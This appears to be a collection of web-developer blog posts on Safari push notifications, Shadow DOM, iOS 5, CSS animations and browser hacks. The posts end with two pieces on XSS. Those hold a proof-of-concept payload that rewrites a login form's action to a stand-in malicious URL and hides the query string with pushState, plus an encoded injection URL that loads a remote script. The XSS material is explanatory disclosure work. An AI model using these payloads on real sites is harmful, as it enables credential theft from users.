What if you could use APNs (Apple Push Notification Service) to send push notifications for your website users right on their desktop? Since OS X Mavericks it has been possible to dispatch push notifications from your web server directly to users.

In this article, I’ll provide step-by-step instructions of implementing Safari Push Notifications directly in your website.

Table of Contents

Prerequisites

In order to get everything up and running, you need at least:

In this example, I’m using Heroku and node.js (+ Express) for serving both the website content and push package.

Registering a Website Push ID

First step is to register a Website Push ID. This is done at “Certificates, Identifiers & Profiles” section of the Member Center.

Under “Identifiers”, you’ll find a sub-section titled Website Push IDs.

Insert description and identifier, which is recommended to be in reverse-domain name format, starting with “web”. In my case I’m using web.com.herokuapp.hakonieminotification as an identifier.

After you’ve registered your Website Push ID, you’re ready to generate a certificate.

Generating a Certificate

This can be considered as the hardest part of the tutorial. It requires multiple steps and all of these needs to be completed.

We start our journey by logging into Developer Overview. Under there you should see a folder link titled Certificates. Navigate there and you go into a same view where we’ve created Push ID. This time we select Certificates and create a new certificate.

Now you should see a list of Development and Production certificate types. Under Production there is a checkbox for Website Push ID Certificate. After selecting that you’ll get a prompt about which Website Push ID we are going to use. This should be obvious.

Now we’re going to create a CSR by using Keychain Access. Launch it and select Keychain Access » Certificate Assistant » Request a Certificate from Certificate Authority.

Fill in your details (leave empty if unsure). Request is Saved to disk. Now you should be able to save [filename].certSigningRequest file to the Desktop.

Now that we’re done with the CSR file we can continue our process on Development Portal and generate our certificate. After that we’re able to download our .cer file. After downloading it, double-click the .cer file.

You should end up in the Keychain Access, under login section, where you should see your certificate. Right-click it and select “Export Website Push ID [web.your.reversed.domain.name]”. This should open up a dialog where you can save [filename].p12. Then you’ll be prompted with the password which will be used to protect the exported item. In our case this can be left empty.

Now that we’ve created .p12 file, we can proceed on creating the actual package.

Contents of the Push Package

When website asks user for permission to send push notifications, Safari will ask your server for a push package. This package is a normal zip file containing following files (all files are required, and no other files can be included):

MyPushPackage.pushpackage
  icon.iconset
    icon_128x128@2x.png
    icon_128x128.png
    icon_32x32@2x.png
    icon_32x32.png
    icon_16x16@2x.png
    icon_16x16.png
  manifest.json
  signature
  website.json

Every icon file and website.json are created by you, while manifest.json and signature files are generated by a script.

Website.json

Website.json contains following information (mine as an example):

{
    "websiteName": "Heroku Push Notification Test",
    "websitePushID": "web.com.herokuapp.hakonieminotification",
    "allowedDomains": ["http://hakonieminotification.herokuapp.com"],
    "urlFormatString": "http://hakonieminotification.herokuapp.com/%@/",
    "authenticationToken": "19f8d7a6e9fb8a7f6d9330dabe",
    "webServiceURL": "https://hakonieminotification.herokuapp.com"
}

This is described in the Apple Documentation as:

  • websiteName – The website name. This is the heading used in Notification Center.
  • websitePushID – The Website Push ID, as specified in your registration with the Member Center.
  • allowedDomains – An array of websites that are allowed to request permission from the user.
  • urlFormatString – The URL to go to when the notification is clicked. Use %@ as a placeholder for arguments you fill in when delivering your notification. This URL must use the http or https scheme; otherwise, it is invalid.
  • authenticationToken – A string that helps you identify the user. It is included in later requests to your web service. This string must 16 characters or greater.
  • webServiceURL – The location used to make requests to your web service. The trailing slash should be omitted.

Creating the Push Package

Now that we have our content (icons + website.json) set up, we can create both manifest and signature files. This is done with createPushPackage.php script (or with push_package gem).

Manifest

The manifest is a JSON dictionary of your each file in push package where filename is the key and SHA1 checksum is the value.

createPushPackage.php contains a function create_manifest($package_dir) for creating the manifest. Use this and it’ll generate a file manifest.json into your .pushpackage directory.

Signature

Remember the .p12 we created in the beginning? This file is passed to the function create_signature($package_dir, $cert_path, $cert_password). If you left the password empty, just pass empty string to the function.

Archive file

There is a function called package_raw_data($package_dir) for creating the ZIP file. This is the package itself we’re serving for the Safari browser. If you’ve successfully completed the previous steps, you should now have created a valid package.

Serving Content and the Push Package

I’ve split this into two sections: server-side and client-side configuration. First we’ll start with the server-side configuration.

Server-side Configuration

My Node / Express application looks like:

var express = require('express');
var app = express();
var port = process.env.PORT || 3000;

app.listen(port);

app.get('/', function(req, res) {
    res.sendfile('index.html');
});

app.post('/v1/pushPackages/web.com.herokuapp.hakonieminotification', function(req, res) {
    res.sendfile('SamuliHakoniemi.pushpackage.zip');
});

app.post('/v1/log', function(req, res) {
});

This should be quite self-explanatory, but let’s go it quickly through:

  • Line #7 – serving the index.html file that requests the permission from the user to use push notifications.
  • Line #11 – serving the push package which is requested by the browser as a POST request
  • Line #15 – for logging (errors), where HTTP body contains a JSON with key logs and as a value there’s an array of strings describing errors.

Server-side Endpoints

As you might have noticed, there’s a certain logic with the endpoints. Notice that “version” is always v1 and deviceToken is the token you’ll receiver from the client when user grants a permission:

  • webServiceURL/version/pushPackages/websitePushID – location of the push package, requested by POST request.
  • webServiceURL/version/devices/deviceToken/registrations/websitePushID – when an user grants a permission or later updates his permission level, a POST request is sent. When user removes the permission for push notifications, a DELETE request is sent.
  • webServiceURL/version/log – when an error occurs a POST request is made to this endpoint

I suggest reading articles in Resources section for more verbose explanation of the endpoints.

Client-side Configuration

There are different code examples of implementing the permission request. This simple piece of code is used on my site:

var pushId = "web.com.herokuapp.hakonieminotification";

var subscribe = document.querySelector("#subscribe");
subscribe.addEventListener("click", function(evt) {
    pushNotification(); 
}, false);

var pushNotification = function () {
    "use strict";
    
    if ('safari' in window && 'pushNotification' in window.safari) {
        var permissionData = window.safari.pushNotification.permission(pushId);
        checkRemotePermission(permissionData);
    } else {
        alert("Push notifications not supported.");
    }
};

var checkRemotePermission = function (permissionData) {
    "use strict";
    
    if (permissionData.permission === 'default') {
        console.log("The user is making a decision");
        window.safari.pushNotification.requestPermission(
            'https://hakonieminotification.herokuapp.com',
            pushId,
            {},
            checkRemotePermission
        );
    }
    else if (permissionData.permission === 'denied') {
        console.dir(arguments);
    }
    else if (permissionData.permission === 'granted') {
        console.log("The user said yes, with token: "+ permissionData.deviceToken);
    }
};
  • Lines #4 – #7 – since I’m using a separate button for subscribing, we need to add event listener for it.
  • pushNotification() – this function is called after the subscribe button is clicked and it will check whether push notifications are actually supported. And if so, it makes the initial call for the checkRemotePermission function.
  • checkRemotePermission() – this function makes the actual request for the permission and is executed again as the callback of function window.safari.pushNotification.requestPermission(url, websitePushID, userInfo, callback).

Above lines of code are from the actual implementation I’ve made. You can test it at: http://hakonieminotification.herokuapp.com.

Possible Problems and Solutions

You may encounter problems while you’re first trying to implement push notifications.

The most common one seems to be that user denies a permission without client even asking for it. This is because the request never reaches the push package (the endpoint isn’t correct). This use case is not described in the Apple’s documentation, which only claims that “denied” state occurs only when user denies the permission.

Other problem seems to be that once you’ve granted or denied the permission, you’re never seeing the permission prompt again. In order to fix that, you can configure permissions from Safari » Preferences » Notifications.

For other troubleshooting and interpreting the log messages, I suggest reading the Troubleshooting section from Apple’s documentation.

Resources

I hope that everything went well after reading my article. In any case, I suggest reading also these articles which contain very valuable information for implementing push notifications.

Ever heard of Shadow DOM? If you haven’t then this article is definitely for you (and if you already have, you should still read this ;)).

Despite of the “scary” name it has there’s nothing to be afraid of. Shadow DOM is a friendly little fellow who’s here to make life of web application developers easier.

In this article, I’ll present thoroughly the capabilities of Shadow DOM and how one can easily create independent widgets by encapsulating their code with it.

Table of Contents

Prerequisites

At the moment, Shadow DOM API can only be used and accessed with Chrome 25+ Beta or Chrome Canary. Download either one of them and start inspecting what Shadow DOM has to offer.

To access Shadow DOM via Chrome Console, you have to enable it from Settings -> General -> [x] Show Shadow DOM.

What is it About?

Shadow DOM is described by W3C as “The shadow DOM allows multiple DOM trees to be composed into one larger tree when rendered”. In practice, this means that it’s possible to create shadow roots and include them into document tree nodes, better known as shadow hosts. Shadow roots can contain child nodes, and these nodes aren’t exposed in traditional DOM tree at all.

Let’s have an example: suppose we have an input element which type is date. In modern browsers this type of element contains a date picker to provide some additional functionality and accessibility for the user.

This is where Shadow DOM enters the stage: date picker is constructed as a Shadow DOM subtree where input field acts as an shadow host.

Even though we can view the Shadow DOM of browser components, we can’t directly access to them.

Playing with Shadow DOM

Now that you’ve set up and you understand the basics about Shadow DOM, it’s time to start playing with it.

In our case, we want to create a simple custom widget which displays JSON data structure in a table. I won’t go in to the deepest details of the widget, but I’ve created a live demo of the widget I’m using as an example.

Preparing Content

At first we start by preparing and creating content. There are couple of guidelines on creating content:

  • it may be wise to use HTML templates instead of direct DOM manipulation when creating complex structures,
  • avoid using too generic naming. Although Shadow DOM is secured, this can lead to misunderstandings,
  • using pseudo-attributes is a good practice

With these guidelines we make the life easier both for us and for the developers who are using the widget.

We start by creating a template for our widget:


Notice: if you want to use external template files (like I do in my demo), use valid HTML elements, eg. by switching template element to a section.

Now we have a basic HTML structure set up and we can add some styling:


This is it. We have a HTML structure and CSS styling ready for the widget and now we need to do some JavaScript magic. Basically we want to fetch the template elements and use them as shadow root children elements for displaying the JSON data. In order do to this, we need some attributes for the jsontable element:


What we’ve got here is:

  • jsontable as the custom widget element,
  • data-template refers to an id of the template we want to use,
  • data-source refers to a JS object variable which contains the “JSON data”

There are both static and XHR examples in my demo, check them out for further guidance of using the data-source and .dataSource setter.

Creating a Shadow Root

We will start by accessing our custom HTML element called <jsontable> and creating a shadow root for it by calling document.webkitCreateShadowRoot (notice the webkit prefix):

var jsontable = document.querySelector("jsontable"),
    jsontableRoot = jsontable.webkitCreateShadowRoot();

For the simplicity of this example, we access only one jsontable element at time and create the functionality for it.

Next, we need to refer to our template and append it to the shadow root:

var templateId = jsontable.dataset.template;
var templateNode = document.getElementById(templateId);

jsontableRoot.appendChild(templateNode);

After this, following steps are:

  • setting references for template elements (table, tr, th, td),
  • populating table from the JSON by using these references

Both of these steps are done in my live demo I’ve created for this article.

This is it! What we’ve achieved is an independent widget which doesn’t interfere with the other DOM at all.

Accessing Shadow Root

Sometimes, one may need to access Shadow DOM externally and manipulate it. This is possible both with CSS and JS.

Accessing via CSS

In order to allow CSS access, we need to declare <shadow root>.applyAuthorStyles = true;. In our example, I made a setter for it (see live demo for further details):

var exports = {
    set applyAuthorStyles(x) {
        jsontableRoot.applyAuthorStyles = !!x;
    }
};

This allows accessing the styling whenever we need to, ie. we can enable and disable in on the fly.

Accessing via JavaScript

JavaScript access can’t be done with direct reference (see example), but it can be done by using webkitShadowRoot property, eg.:

var table = document.querySelector("jsontable").webkitShadowRoot.querySelector("table");

This allows manipulating the Shadow DOM whenever it’s needed. At the moment it’s not even possible to protect your Shadow DOM from external access (see Bug 16509 – [Shadow]: Consider isolation).

Conclusions

I’ve to say I’m excited about Shadow DOM. Although different kinds of snippets, plugins and widgets have been created for years, Shadow DOM and Web Components offers a clear path for creating eg. custom form controls, media controls, captchas, etc.

Current status of course is that Shadow DOM can’t yet be used purely because it has landed only on few browsers and the work is still in progress. However, we can play it with (just like we did in this article) and consider the possibilities it offers in the future.

Resources

Here are some of the resources I encountered while exploring the wonderful world of Shadow DOM:

The final version of iOS 5 has been finally released and there’s lots of buzz going around it’s new features. Most of the discussion focuses on the operating system itself which is totally understandable. There are lots of improvements and nifty little features to play with.

But one thing that seems not to get such attention is what iOS 5 brings to us, web developers, and how it improves the experience with web applications.

In this article I’ll go through most of the major features that are included in iOS 5 for web developer point-of-view.

Table of Contents

-webkit-overflow-scrolling

This is probably most anticipated feature for web applications. Until today it hasn’t been easily possible to add scrollable content in web document.

Briefly, all you need to define is:
elem {
 overflow:scroll;
 -webkit-overflow-scrolling:touch;
}

To achieve proper scrolling support for iOS 4 and/or other devices, I strongly suggest using iScroll 4.

And if you want to display scrollbars all the time, read this post: Force Lion’s scrollbar back. It will help you on displaying the scrollbar while user is not accessing the scrollable area, which is a very good visual guidance for user that content can be scrolled. But be warned: “custom” scrollbar won’t update it’s location while user is scrolling and meantime there are two scrollbars displayed.

position:fixed

Position:fixed is well-known CSS property that hasn’t earlier been included in iOS. But now it’s there, ready to use.

I noticed that setting a fixed element it has partial transparency by default. You even can’t turn it off by setting opacity to 1.0. If you happen to know how to solve this, please comment on my blog.

New Input Types

iOS5 provides several new input types that didn’t exist earlier on iOS4. These input types are: date, time, datetime, month and range.

I have to mention that the user experience with range is awful – with your (fat) finger you end up selecting the whole control instead of value slider all the time.

Note: input type=”file” isn’t still working. “Choose File” button is displayed, but at the same time it’s disabled.

WOFF Font Support

iOS 5 supports WOFF (Web Open Font Format) fonts. This is good news in a way. I haven’t personally tested whether there’s any benefit compared to SVG or TTF from a rendering or performance point-of-view.

Web Workers

Web Workers API is a bit less familiar for many developers. They allow to run long-running scripts without halting the user interface and they’re not interrupted by other actions.

The problem with Web Workers on iOS 5 is – as you may guess – the perfomance. You can try Web Workers with Javascript Web Workers Test. But I have to mention that while it took only about five seconds with my workstation, the same execution time with my iPhone 4 was 106 seconds. So as you can see, there’s a huge difference on performance.

contentEditable

iOS 5 supports contentEditable attribute, which allows rich text editing (RTE) of content. This is very welcomed feature offering the possibility of building WYSIWYG editors that can be used eg. with iPad.

Read more about this feature at: WYSIWYG Editing (contentEditable support) in iOS 5.

classList API

ClassList API is very useful while writing native JavaScript. It has few simple functions (like add(), remove(), toggle()) that are meant for handling classNames in an element.

If you want to implement classList API and ensure backwards compatibility, use classList.js polyfill, written by Eli Grey.

matchMedia()

Function matchMedia() is relatively new function for detecting media queries with JavaScript. The implementation is very simple:

if (matchMedia("(min-width: 1024px)").matches) {
    alert('your screen is at least 1024px wide');
}
else {
    alert('your screen is less than 1024px wide');
}

Can’t say how useful that is yet, since I’ve personally never used it before. But we’re living the times of Responsive Web Design and there may be conditions where this may be needed.

For browsers that doesn’t support matchMedia(), there is a matchMedia.js polyfill available, written by Paul Irish.

And if you’re more interested in similar logic, I suggest reading about yepnope.js.

Changes in Gestures Events

Gestures events (gesturestart, gesturechange, gestureend) now returns pageX and pageY values for events – in addition to scale and rotate values. These values didn’t exist in iOS4, forcing developer to retrieve X/Y-coordinates with corresponding touch events.

Compass

iOS 5 comes also with two neat properties: webkitCompassHeading and webkitCompassAccuracy. You can read more about them and test them at: Taking a new device API for a spin.

WebGL

Well… WebGL is kind of implemented in iOS5. But only for iAd.

However there are rumors promising good, and already it’s said that “things are in place” but they’re just not fully working (or have been disabled). So, let’s keep our fingers crossed that next (minor) update will include support for WebGL.

Anything Else?

Mark Hammonds has written a comprehensive article in mobiletuts+, titled iOS 5 for Web Devs: Safari Mobile Updates. That’s really worth of reading!

And if you’re interested in browser performance in general, then you should read iOS 5 Top 10 Browser Performance Changes.

If there are other things to mention, feel free to comment and bring your ideas up. I’ll keep on updating this post right after new information arises about iOS 5.

More than two years ago CSS Animations were represented in WebKit. Up until now, they’ve been supported only in Safari and Chrome.

Recently I noticed, when upgrading to Android 3.1 that it dramatically enhanced the performance of CSS Animations and Transitions. And only few days ago, Firefox 5 Beta was released which has decent support for keyframes, and also better performance for transitions. Therefore I decided to write a brief article about CSS Animations and using keyframes.

In this article we will go through what it takes to create keyframe animations. I’ll create a simple demonstration of an icon character which comes alive with a little help of keyframes.

Foreword

This article won’t help with the basics and all the details of CSS Keyframes. If you’re unfamiliar with keyframes, I strongly suggest reading Smashing Magazine’s article “An Introduction To CSS3 Keyframe Animations”.

If you’re also unfamiliar with CSS Transitions, you can also read my article “CSS3 Transitions – Are We There Yet?”.

It’s good to notice that there already exists tools for creating proper CSS Animations, like Animatable that are worth of checking. Especially, if you’re not that much of a fan writing endless keyframes rules and css declarations

Browser Support

I’ve tested this example with recent builds of Google Chrome, Firefox 5 Beta, iPhone 4 / iPad and Android 3.1 with Browser (Chrome) and Firefox Beta. So, if you’re viewing this article with any of those, then you’re good to go.

There are indications that also Opera will support CSS Animations in near future. Let’s see when that will be. However, Internet Explorer won’t be supporting CSS Animations – they’re not even supporting CSS Transitions yet.

The Icon

In this example we’ll build an icon with separate head, body and background. We’ll add some movement with keyframes to each object while trying to achieve as realistic result as possible without too much of an effort.

The character icon in demonstration is from Battleheart, developed by Mika Mobile.

The Head

Wizard's head We start by defining the behavior of an animation for the head. This is done by defining a keyframes rule called “breathe-head”.

@-webkit-keyframes breathe-head {
    0% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
    40% {
        -webkit-transform: rotate(-3deg) translate3d(-2px, -1px, 0px);
    }

    100% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
}

NOTE: I’m using property called translate3d for moving the head slightly backwards. It’s good to understand that only transformable properties (+ opacity) can be animated with hardware acceleration. Translate3d(0,0,0) is good to have to ensure hardware acceleration of animations even if it’s not needed for any other use. I’ve even encountered many situations where animation performance hasn’t been smooth eg. on iOS Web Applications until (over)usage of translate3d().

Twice the Fun!

For some (unknown) reason, it isn’t possible to add -moz-keyframes rule at the same declaration, so we need to declare keyframes rules again:

@-moz-keyframes breathe-head {
    0% {
        -moz-transform: rotate(1deg) translate(0px, 0px);
    }
    40% {
        -moz-transform: rotate(-3deg) translate(-2px, -1px);
    }

    100% {
        -moz-transform: rotate(1deg) translate(0px, 0px);
    }
}

I’m not using translate3d() since it seems Firefox only understands translate(). But it’s good enough for performance since it should be also hardware accelerated on Firefox.

The Body

Wizard's body Next, we’ll animate the body of the character. We don’t need any wildly bouncing animation since we’re operating with an (small) icon. Constant movement has to be subtle or otherwise it can start to irritate users:

@-webkit-keyframes breathe-body {
    0% {
        -webkit-transform: translate3d(0px,0px,0px);
    }

    40% {
        -webkit-transform: translate3d(0px,-3px,0px);
    }

    100% {
        -webkit-transform: translate3d(0px,0px,0px);
    }
}

And the same rules needs to be applied for -moz-keyframes like we did with the head.

The Background

Wizard's backgroundI wanted to add something more to a movement and decided to draw a subtle background “sun” which keeps rotating behind the character:

@-webkit-keyframes rotate-bg {
    0% {
        -webkit-transform: rotate(0deg);
    }
    100% {
        -webkit-transform: rotate(360deg);
    }
}

Rotating background is very straight-forwarded; we rotate it once per timeline we’ll define later on.

Keyframes are Done – What Next?

Now that we’ve defined keyframe rules, we must take them into use:

.character {
    -webkit-animation: breathe-body 3000ms infinite both ease-in-out;
    -moz-animation: breathe-body 3000ms infinite both ease-in-out;
}

.character .head {
    -webkit-animation: breathe-head 3000ms infinite both ease-in-out;
    -moz-animation: breathe-head 3000ms infinite both ease-in-out;
}

.rotating {
    -webkit-animation: rotate-bg 30s infinite linear;
    -moz-animation: rotate-bg 30s infinite linear;
}

I’m using short-hand declarations, and eg. for .character .head we declare: “Use breathe-head keyframe rules in a three seconds long loop which last infinite time and is animated with in-out easing equation”.

Value “both” stands for animation-fill-mode should define the status of first and last keyframe. But in my case I didn’t notice anything special when I trying other possible values “forwards” or “backwards” (this could be since both start and end keyframe has similar values).

The End Result

I needed to declare more CSS for getting things in correct place. But the example code above is practically the soul and heart of the animation. But here is the end result of an animated wizard icon:

 

 

How do you like it? It’s my first animation ever :).

Sometimes there is need to write browser-specific CSS declarations. Although every developer should put their best effort on creating structure and layout that doesn’t require any proprietary hacks, one may encounter situations where it’s impossible to proceed by the book.

My case was about font-size and letter-spacing on Opera (11.10). Opera was displaying selected font way too big to fit in allowed space and I needed a hack to fix this issue.

Opera 9 and below

This is pretty straight forward and well known hack:

html:first-child p
{
    font-size:12px;
}

The real issue, in my case, was how to target newer and modern Opera versions 10 and 11.

Opera 10 and above

The answer is in media queries. Earlier this was obvious hack while no other browsers supported media-queries properly. However, nowadays more and more browsers support it and therefore we need to tweak the conditions a little:

@media not all and (-webkit-min-device-pixel-ratio:0) {
    p {
        font-size:12px;
    }
}

I’ve validated this with Opera 10.5 and Opera 11. I also checked on Chrome 11, Chrome 12, Firefox 3.6, Firefox 4.0, Safari 5 and IE 8 that it doesn’t affect on them.

Edit: I haven’t tested this on Opera 9 or earlier, but according to other resources, this hack should work on those browsers too.

Conclusion

It’s still possible to write browser-specific hacks but it’s getting more and more complex all the time. In this case we’re using a hack that is actually targeted to WebKit browsers to get them excluded from the media query hack. However, there is no confidence that this hack would work on Opera 12 or next versions of Safari or Chrome would behave as expected.

And big thanks goes to an article CSS Hack or New CSS File for Problematic Browsers? and Is There Any Dedicated CSS Hacks For Safari or Opera?.

JSLint is an extremely useful tool for front-end developers among other code validation. However, getting JSLint to work properly isn’t always as easy as it supposed to be. I ran into problems when I upgraded to Eclipse-based Aptana Studio from major version 2 to beta version 3. In addition, it was very hard to find any proper solutions for my problem.

Differences Between Aptana 3.x and 2.x

The first thing to note is that Aptana Studio 3 doesn’t have similar plugin-based view than Aptana 2. After certain time of unsuccessful googling I figured out that proper keyword isn’t “aptana”, it’s “eclipse”.

In order to install new plugins (or software), you have to do it via Help » Install New Software.

Installing JSLint

Unlike in Aptana Studio 2, version 3 doesn’t have JSLint located as a validator in Aptana’s JavaScript preferences (if I’m running false configuration or doing something really wrong, please comment :)). However, Rockstarapps is offering tools which also includes JSLint.

The problem I had with Rockstarapps was that it doesn’t look very trustworthy (blank site etc). But with little googling I found a resource for installing software at: http://update.rockstarapps.com/site.xml.

After you’ve added Rockstarapps resource to work with, you’ll see a list of tools on a window below, including JSLint. Go ahead and install these.

Using JSLint

After installation I was happy to start using JSLint. I searched for numerous places in order to configure and / or to run JSLint. This was frustrating and I already stopped searching since I still wasn’t feeling too confident about Rockstarapps.

On one day, I accidentially noticed that when I right-clicked on JavaScript file, context menu included an option “Rockstarapps” with sub-option “Validate with JSLint”. That was it – JSLint was finally there, ready for use :).

Conclusion

I’m a kind of person that can be considered as an eternal beginner (or even stupid :p) when configuring applications and tools. But I know there are many others on a very similar position with me (according to my earlier experience and the amount of Stackoverflow + other rant encountered while googling). So I definitely hope this post really helps someone struggling with same problems than I did.

External Resources

I was playing around with window.history object. In general, it’s quite limited and can be considered rather useless. However, HTML5 brings some new methods to History object in order to make it more powerful.

In this article I will take a quick glance on a quite peculiar method called pushState(). There is one security related issue I want to point out, which I’m considering rather harmful.

history.pushState()

history.pushState() was introduced in HTML5 and it’s meant for modifying history entries.

By using pushState() we’re allowed to alter the visible URL in address bar without reloading the document itself. Sounds a bit risky, doesn’t it?

The Harmful Part

The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can’t be replaced, we can completely change the pathname.

So, I made a brief PoC about hiding a non-persistent XSS exploit. It’s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.

Proof of Concept

This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.

pushState() works properly also in Safari 5, but it’s security control refuses to load external scripts or execute injected scripts.

I’ll inject some malicious code via query parameter: ?username=”><script>(history.pushState({},”,’index.php’))(document.forms[0].action=’http://maliciousURL’)</script>

As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): http://bit.ly/pushStateXSS.

Just visit this URL to see how pushState() behaves and what is shown in address bar.

Conclusion

Can this be considered as a security flaw? – Definitely yes.

How it should be fixed? – There should be a property, eg. history.allowPushState which would be set to false by default. And website developers could explicitly set it to true while being aware of the risks. Edit: I’ve received some feedback about this. And you’re right – this wouldn’t fix anything since it could be set to true in injection. I wasn’t thinking this thoroughly :).

Note: I’m taking advantage of this technique in my //bit.ly/xss_1, which I use for pointing out the XSS vulnerabilities for website administrators. It just removes everything after “?” from the URL in address bar.

I was going to write one long blog post about advanced handling of browsing history, but then I decided to split this into two separate articles.

In this article I’ll represent a small JavaScript snippet I created for handling client-side session variables without cookies or Local Storage.

The snippet, Session.js, works on all modern browsers that support JSON natively. And if you want to extend it to work on browsers like Internet Explorer 6, you can use custom JSON implementation (eg. Sitepoint: Cross-browser JSON Serialization in JavaScript).

The reason I wrote this is simple – sometimes you just want to persist client-side variables during the whole session. In general, cookies are OK, but I personally dislike them to be used as very temporary data storages. I just don’t want to pollute cookie with (secondary) data that isn’t ever meant to be used after the session. Beside, cookies do not accept larger quantities of data.

Therefore I’m using window.name property. This property will exist during the whole session, and is automatically emptied when user closes the window or moves to another domain.

There are also other implementations of the very same topic, such as Thomas Frank’s sessvars.

Methods

There are following methods:

Session.setVar(string name, mixed value)

This sets the variable. You can add any type of value (number, string, boolean, object).

Session.getVar(string name)

This returns the variable. If such variable doesn’t exist, this returns false.

Session.removeVar(string name)

This removes the variable. If such variable doesn’t exist, this returns false.

Session.subscribe(string name, function callback)

This attaches a function to the variable. So whenever variable is set on the document, or is already set earlier during session, subscribed functions are fired. However, function won’t be fired when variable is removed, but the function itself will stay attached on the variable and fired if the variable is set again.

You can add a “namespace” for functions to distinct them for unsubscribing. This is done by adding a period on variable name: Session.subscribe(“foo.alertVariable”, function() { alert(Session.getVar(“foo”); });.

Session.unsubscribe(string name)

This simply unsubscribes certain function attached to the variable, eg Session.unsubscribe(“foo.alertVariable”).

Source Code

You can get the source code from here.

There is also very small demonstration available in here.

XSS - An Underestimated Threat?

Cross-site scripting (XSS) is a type of security vulnerability which allows attacker to inject external client-side code on a website. Exploited vulnerabilities can cause only a small nuisance but in many cases they can also be exploited in very harmful ways.

XSS vulnerabilities are both unsurprisingly common and usually quite easy to spot. Despite the situation, XSS isn’t often concerned as a dangerous security risk.

Few months ago, Mikko Hyppönen (Chief Research Officer, F-Secure) wrote on their blog about a XSS vulnerability found on their site. This incident inspired me to write this article about XSS vulnerabilities in general – the form of a vulnerability I see way too underestimated.

Hyppönen made an excellent statement (free translation): “If even the companies specialized in data security don’t have flawless websites then what are the chances for companies which aren’t specialized in it?”.

I completely agree with his statement. While writing this article, I took 15 random websites from The TOP25 most visited websites in Finland. I did brief, manual tests to these websites and ended up finding XSS vulnerabilities in nine different sites. Eight of these websites has user logins, and two of them also deals with real money transactions.

In this article I’ll make an overview on XSS as a vulnerability, listing the forms of vulnerabilities and how they are exploited. I’ve also created a light example, which is meant for demonstrating XSS in real use.

This article doesn’t offer tips for protecting against XSS exploits mainly because the subject is technology independent. However, there are few excellent links at the end of the article, also offering guidance for website administrators.

This article is also published in Finnish, at Gfx.

What XSS is all about?

  • The amount of XSS vulnerabilities is estimated as 80% out of total amount of web security vulnerabilities (according to Symantec, 2007),
  • OWASP (The Open Web Application Security Project) has listed XSS vulnerabilites as 2nd highest web application security risk in 2010,
  • XSS vulnerabilities have been found also on very large websites, such as Facebook, Twitter or Wikipedia.

As a brief conclusion it can be said XSS is a severe vulnerability, threatening both small and large websites.

Different types of XSS vulnerabilites

XSS vulnerabilites can be divided at least in four different types:

  1. injection via URL (HTTP query),
  2. injection via permanently displayed data (eg. with form submission),
  3. injection by exploiting client side code,
  4. injection by exploiting external feed displayed on a website,

Additionally, I’ll mention a fifth threat “injection executed by user himself”.

1) Injection via URL

This is the most common type of vulnerability. Injection via URL is also quite short-lived and easily spotted exploit.

If the website is unable to validate the query string correctly, the exploit is very trivial. For instance, the exploit could look like this: http://www.domain.tld/?page=Main”%3e%3c%73%63%72%69%70%74%20%73%72%63=//%62%69%74%2e%6c%79/%78%73%73_1%3e%3c/%73%63%72%69%70%74%3e%3c%73%70%61%6e%20″.

I’m confident by claiming that average user (btw. you’re not average user) don’t see anything suspicious on such URL. In addition, an average user is likely to have a browser setup which doesn’t see anything suspicious in this case either. And even if the browser would react, there still are some methods to fool the browser (or an add-on). Plus we could use URL shorteners because most of them don’t sanitize URL’s for potential XSS exploits.

2) Injection via permanently displayed data

This exploit is much more severe than previous one because it offers the way to create a permanent injection.

The basic principle is to find a form which allows submitting malicious and displays it without proper validation. For instance, such exploit existed in Facebook only few months ago which allowed XSS exploit through the title of the Facebook group.

Nowadays, many of the websites are created by using existing components or frameworks which almost always prevents this kind of security vulnerabilites.

3) Injection by exploiting client side code

This exploit is very similar to the 1st vulnerability I listed. In this case the injection is not appended to the HTML section, it’s executed by exploiting existing client-side code.

This kind of exploit isn’t quite common. However, in situations where scripts are appended dynamically, eval() function is fired in wrong place or query string parameters are used as client-side variables, website may contain a XSS vulnerability.

4) Injection by exploiting external feed

This type of vulnerability is quite rare and usually occurs in situations where developer has either been very inexperienced or very very busy.

This could occur eg. in a situation where a company publishes their Twitter feed on a website. Such situation may exist when feed is not properly validated or it’s handled incorrectly on client-side.

This actually happened in real life, in a case called #cashgordon.

5) Injection executed by user himself

This type of vulnerability is beyond website administrators or developers. But it’s still worth of mentioning. The exploit is based purely on that user himself is tricked to execute JavaScript in his browser.

But why? Why would anyone execute JavaScript in his browser when told to?

The whole concept is based on three thing: 1) an average user (yes, not you) isn’t aware of the consquences, 2) recommendation to execute JavaScript is usually received from a “known” person, and 3) curiosity is not a sin.

Yes, we’ve seen this movie before. The concept is practically same when dealing with e-mail worms and viruses.

This kind of exploit is something you’ve most likely seen on Facebook. For instance, when Facebook users are told they can activate Dislike-button, they go nuts. Tell them to execute a single line of JavaScript (leaked by Facebook developers of course – or some other fancy story), and they’ll do it. And while posting status updates without user prompt is possible, the story goes on and on…

XSS vulnerability means trouble

In many cases XSS means more than teenagers popping up alert dialogs with dirty words. I’ve listed some of the troubles related to XSS vulnerabilities:

User input is not protected

The most important thing to note is that when website is injected with XSS, everything user does can be logged. If we trick the user to login the website like he normally does, he gives us his credentials without ever being aware of it.

Users tend to trust known websites

Another important point is XSS offers a playground where users tend to think everything is safe. This lowers the barrier for user to hand over information about himself. Whenever there is a form or dialog in a trusted environment, requesting some private information with a nice and warm introduction in a trusted environment, many users don’t feel anything being wrong.

XSS vulnerability may indicate also other type of security vulnerabilities

When XSS vulnerability is found on a website, it’s not impolite to expect there are also other flaws in security. XSS vulnerability usually acts as an indicator that website is custom made, which means data security issues are done almost from scratch. Even if the website is built by using framework(s), there’s still something done awfully wrong.

In any case I’m quite convinced that “XSS vulnerabilities attracts people with black hats”.

Mistakes are repeated

When the creator of the exploitable website is known, a new kind of problem is born: with Google or by visiting a creator’s website it’s usually easy to find out other websites they have created. And if they’ve created one website with flaws, it’s possible the same flaws are repeated on other websites too.

There’s no such thing as “harmless vulnerability” from the user point-of-view

When an user is told that website has had some issues with data security, he’ll definitely see that as negative thing. It probably harms the “relationship” between an user and a website.

